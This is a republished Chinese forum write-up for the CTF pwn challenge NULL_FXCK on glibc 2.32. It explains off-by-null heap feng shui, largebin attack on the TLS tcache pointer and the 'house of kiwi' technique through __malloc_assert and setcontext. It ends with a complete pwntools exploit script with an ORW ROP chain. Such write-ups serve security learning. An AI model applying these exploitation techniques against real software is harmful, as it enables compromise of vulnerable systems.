查看原文
其他

从PWN题NULL_FXCK中学到的glibc知识

Nameless_a 看雪学苑 2022-08-18


本文为看雪论坛精华文章

看雪论坛作者ID:Nameless_a


这题的风水堪称一绝,然后涉及的利用也非常新颖——house of kiwi在一年前来说可以说非常新鲜了,在今天衍生出的emma也是高版本主流的打法。

版本:


沙箱:

 
发现禁了execve,那就只能orw了。


保护:


ida


相信都开始研究这道题的各位师傅逆向都没有问题,就截一截ida里面比较重要的几个东西:

(1)add的截断:
 
 
虽然从bin中拿出chunk的指针没有被初始化,但是这个截断使得我们不能直接泄露libc和堆地址了。
 
(2)free禁止了UAF(这个就没必要截了)
 
(3)edit只能执行一次并且存在off_by_null:
 


思路


这里的思路其实有点公式化的味道,就和我们做数学题一样,都是通过题目给的条件来思考利用的手法
 
给了off_by_null就思考会用到堆块的合并导致的重叠。重叠带来的好处:
 
(1)通过切割堆块能使我们在合并的堆块内部任意地址写main_arena,这个任意地址可能是note数组的一个堆指针的fd,那么我们就可以泄露libc了
 
(2)合并的时候的unlink能使得我们在已知堆块的fd和bk上写一个堆地址,这样就可以弥补一开始的截断带来的不能泄露堆块,然后成功泄露出堆块了

堆风水泄露libc和堆地址。


为了达成思路(1)(2)的libc和heap的泄露,需要一个非常细致的堆的布局,首先说说几个可能遇到的问题:

(1)合并的时候对堆的fd和bk的检测:
free(P)的时候,如果P不是tcache或者fastbin大小的话,就会检测P的前一个堆块(低地址)和后一个堆块(高地址)的使用情况(即它们的后一个堆块的PREV_INSURE位),如果也是free,就会考虑合并。合并的时候,会检测除P外的另一个堆块的fd和bk指针:
记另一个堆块为Nfwd=N->fd;bck=N->bk;if(fwd->bk != N || bck->fd !=N) exit(-1);fwd->bk=bck;bck->fd=fwd;

上面的代码大致表示了unlink的过程。
 
之前做过的unlink都是已知了堆地址,然后unlink环节将fd和bk全都设置为N自身,达到绕过检测的目的。
 
这题比较厉害的地方就是,在不知道堆地址的情况下实现的unlink:
 
(1)首先通过将堆块放入unsorted bin(下面简称ub)将一个堆块的fd和bk分别写上不同的堆地址:
 
先add(0~6)然后delet(0,3,5),堆的布局如下图:

发现堆块3就是一个bk和fd都有堆指针的堆块了,后续考虑一个堆块向上与3合并。那么我们就要先修改3的size,如何修改呢?
 
delet(2)导致2和3在ub里发生合并,重新申请一个大小大于2的堆块就能修改3的size了。我们直接将3的size设置的很大,使得3的next_chunk指向top_chunk,因为考虑新生成堆块7并且edit(6)进行off_by_null修改7的pre_size和size的PREV_INSURE,这样delet堆块7就能向上和3合并了
 
但我们发现,合并的时候会报错,这是因为我们没有绕过unlink里面的检查,也就是没有成功设置好5和0的fd和bk。

我们发现,切割2和3合并的堆块会有一个剩下的堆块我们记作L。L的地址和3离得很近,可能就是低两位不同。如果,3的低两位是'\x00',我们就通过将L和0放入unsorted bin 设置bk指针。

把L和5放入large bin设置fd指针(放入ub的话取出的时候目标堆块的fd指针会变),在申请0和5的时候,触发add中的截断,就能够在fd或bk上设置好3的地址,绕过unlink的检查完成合并。
 
合并好后,我们就可以通过切割堆块,在4的fd指针上布局main_arena。不过一开始的main_arena应该是以'\x00'结尾的,还是不能泄露。通过add一个大堆块放入largebin就好了,这样show(4)就能够泄露libc了。
 
同时unlink也会使得0的bk指针为5,5的fd指针为0,show其中任何一个都能泄露堆块。

house of kiwi


发现这题中的exit被换成了_exit,而_exit是不会存在house of pig里面的那条链子的,它直接就是一个exit的系统调用然后程序就结束了,所以任何打exit的链子都不能直接拿来用。遇到这种问题,有的师傅就开辟了一条名为house of kiwi的链子。

主要是打__malloc_assert断言,有一个位于_IO_file_jumps+0x60的稳定的跳转指针sync和稳定的rdx——_IO_helper_jumps,而且这两个地方在gdb里都是有符号表的(比banana好找多了2333):


那么我们通过两次任意地址写就行了?非也。因为还需要触发assert
 
如何触发assert?看看malloc.c的源码,ctrl f输入"assert",发现有80多个
 
这里介绍其中一种做法:
 
当top_chunk的大小不够分配时,则会进入sysmalloc中:
......assert ((old_top == initial_top (av) && old_size == 0) || ((unsigned long) (old_size) >= MINSIZE && prev_inuse (old_top) && ((unsigned long) old_end & (pagesize - 1)) == 0));......

发现很多检测,我们注意到对topchunk的prev_inuse的检测,只要把topchunk的size位的prev_inuse置为0,申请一个比它大的堆块就可以触发了。
 
我们发现,至少需要改三个地址,也就是执行三次任意地址写。从这道题的严苛条件,不能用tcache poison等简单手法。

TLS段tcache struct attack


我们都知道,malloc_init会在heapbase段开设一个内存用于管理tcache。而这个管理tcache的地址,是可以从heapbase被我们劫持到另一个地方的,这是因为实际寻找的时候,是找到TLS段的管理tcache的地址,只不过malloc_init函数预设成了heapbase+0x10而已(注意,是heapbase+0x10而不是heapbase),我们可以在gdb中找到这段区域:


通过largebin attack劫持这段为可控堆块,在上面布置任何我们想写的东西,malloc对应位置size大小就能够申请出来并且改写了(这里的偏移要调一调,不过也可以拿exp的模板直接来用,也就是)
 
通过改稳定的跳表sync为setcontext+61(因为setcontext会将[rdx+0xa0]设置为rsp,将[rdx+0xa8]设置为rip),将稳定的rdx _IO_helper_jumps设置为_IO_helper_jumps+0xa0为存orw链,+0xa8为ret指令,并改top_chunk的size,然后申请一个比它的size大的堆块触发assert就可get_shell了

总结


这道题考察了高版本的off_by_null,large bin attack,house of kiwi , TLS attack。虽然很折磨,但是是不可否认的好题,能让第二次接触2.31以上版本的我学到不少东西。

exp

from pwn import *from hashlib import sha256import base64context.log_level='debug'#context.arch = 'amd64'context.arch = 'amd64'context.os = 'linux'def proof_of_work(sh): sh.recvuntil(" == ") cipher = sh.recvline().strip().decode("utf8") proof = mbruteforce(lambda x: sha256((x).encode()).hexdigest() == cipher, string.ascii_letters + string.digits, length=4, method='fixed') sh.sendlineafter("input your ????>", proof)##r=remote("123.57.69.203",7010)##r=process('./sp1',env={"LD_PRELODA":"./libc-2.27.so"}) ##mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20]; def z(): gdb.attach(r) def cho(num): r.sendafter(">> ",str(num)) def add(size,content='\x00'): cho(1) r.sendlineafter("Size: ",str(size)) r.sendafter("Content: ",content) def edit(idx,con): cho(2) r.sendlineafter("Index: ",str(idx)) r.sendafter("Content: ",con) def show(idx): cho(4) r.sendlineafter("Index: ",str(idx)) def delet(idx): cho(3) r.sendlineafter("Index: ",str(idx)) def exp(): global r global libc libc=ELF('./libc-2.32.so') r=process('./main') ##[+]: fengshui 2 leak add(0x418) #0 add(0x1f8) #1 add(0x428) #2 add(0x438) #3 add(0x208) #4 add(0x428) #5 add(0x208) #6 delet(0) delet(3) delet(5) delet(2) ##z() add(0x440,0x428*'a'+p64(0xc91)) #0 add(0x418) #3 0x2b0 add(0x418) #2 add(0x428) #5 0x370 ##z() delet(3) delet(2) ##z() add(0x418,'a'*9) #2 add(0x418) #3 delet(3) delet(5) add(0x9f8) #3 ##z() add(0x428,'a') #5 edit(6,0x200*'a'+p64(0xc90)+'\x00') add(0x418) #7 ##z() add(0x208) #8 ##z() delet(3) add(0x430,flat(0,0,0,p64(0x421))) #3 add(0x1600) #9 ##z() show(4) libcbase=u64(r.recv(6).ljust(8,'\x00'))-0x1e4230 log.success('libcbase:'+hex(libcbase)) show(5) heap=u64(r.recv(6).ljust(8,'\x00'))-0x2b0 log.success('heap:'+hex(heap)) ##[+]: set libc func IO_file_jumps=0x1e54c0+libcbase IO_helper_jumps=0x1e48c0+libcbase setcontext=libcbase+libc.sym['setcontext'] open_addr=libcbase+libc.sym['open'] read_addr=libcbase+libc.sym['read'] puts_addr=libcbase+libc.sym['puts'] pop_rdi_ret=libcbase+0x2858f pop_rsi_ret=libcbase+0x2ac3f pop_rdx_pop_rbx_ret=libcbase+0x1597d6 ret=libcbase+0x26699 ##[+]: large bin attack to reset TLS ##z() ##edit(4,p64(libcbase+0x1e4230)+) ##[+]: orw target=heap+0x8e0 flag_addr = heap + 0x8e0 + 0x100 chain = flat( pop_rdi_ret , flag_addr , pop_rsi_ret , 0 , open_addr, pop_rdi_ret , 3 , pop_rsi_ret , flag_addr , pop_rdx_pop_rbx_ret , 0x100 , 0 , read_addr, pop_rdi_ret , flag_addr , puts_addr ).ljust(0x100,'\x00') + 'flag\x00' TLS=libcbase-0x2908 add(0x1240,0x208*'a'+p64(0x431)+0x428*'a'+p64(0x211)+0x208*'a'+p64(0xa01)) delet(0) add(0x440,chain) ##z() add(0x418) #11 add(0x208) #12 delet(5) delet(4) add(0x1240,0x208*'a'+p64(0x431)+p64(libcbase+0x1e3ff0)*2+p64(heap+0x1350)+p64(TLS-0x20))#4 delet(11) ##z() add(0x500) ##z() add(0x410) delet(4) add(0x1240,0x208*'a'+p64(0x431)+p64(libcbase+0x1e3ff0)*2+p64(heap+0x1350)*2) pd='\x01'*0x70 pd=pd.ljust(0xe8,'\x00')+p64(IO_file_jumps+0x60) pd=pd.ljust(0x168,'\x00')+p64(IO_helper_jumps+0xa0)+p64(heap+0x46f0) add(0x420,pd) #13 add(0x100,p64(setcontext+61)) add(0x200,p64(target)+p64(ret)) add(0x210,p64(0)+p64(0x910)) z() add(0x1000) ##z() r.recvuntil('flag') string=r.recvuntil('}') flag='flag'+string print(flag) show(5) r.interactive() if __name__ == '__main__': exp() ##setcontext and orw '''' orw=p64(r4)+p64(2)+p64(r1)+p64(free_hook+0x28)+p64(syscall) orw+=p64(r4)+p64(0)+p64(r1)+p64(3)+p64(r2)+p64(mem)+p64(r3)+p64(0x20)+p64(0)+p64(syscall) orw+=p64(r4)+p64(1)+p64(r1)+p64(1)+p64(r2)+p64(mem)+p64(r3)+p64(0x20)+p64(0)+p64(syscall) orw+=p64(0xdeadbeef) pd=p64(gold_key)+p64(free_hook) pd=pd.ljust(0x20,'\x00')+p64(setcontext+61)+'./flag\x00' pd=pd.ljust(0xa0,'\x00')+p64(free_hook+0xb0)+orw r.sendafter(">>",pd) flag=r.recvline() '''




看雪ID:Nameless_a

https://bbs.pediy.com/user-home-943085.htm

*本文由看雪论坛 Nameless_a 原创,转载请注明来自看雪社区



# 往期推荐

1.指令级工具Dobby源码阅读

2.sql注入学习笔记

3.文件上传和文件包含的各种姿势

4.React Native Hermes 逆向实践

5.2022CISCN初赛 ez_usb WriteUp

6.APT Turla样本分析






球分享

球点赞

球在看



点击“阅读原文”,了解更多!

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存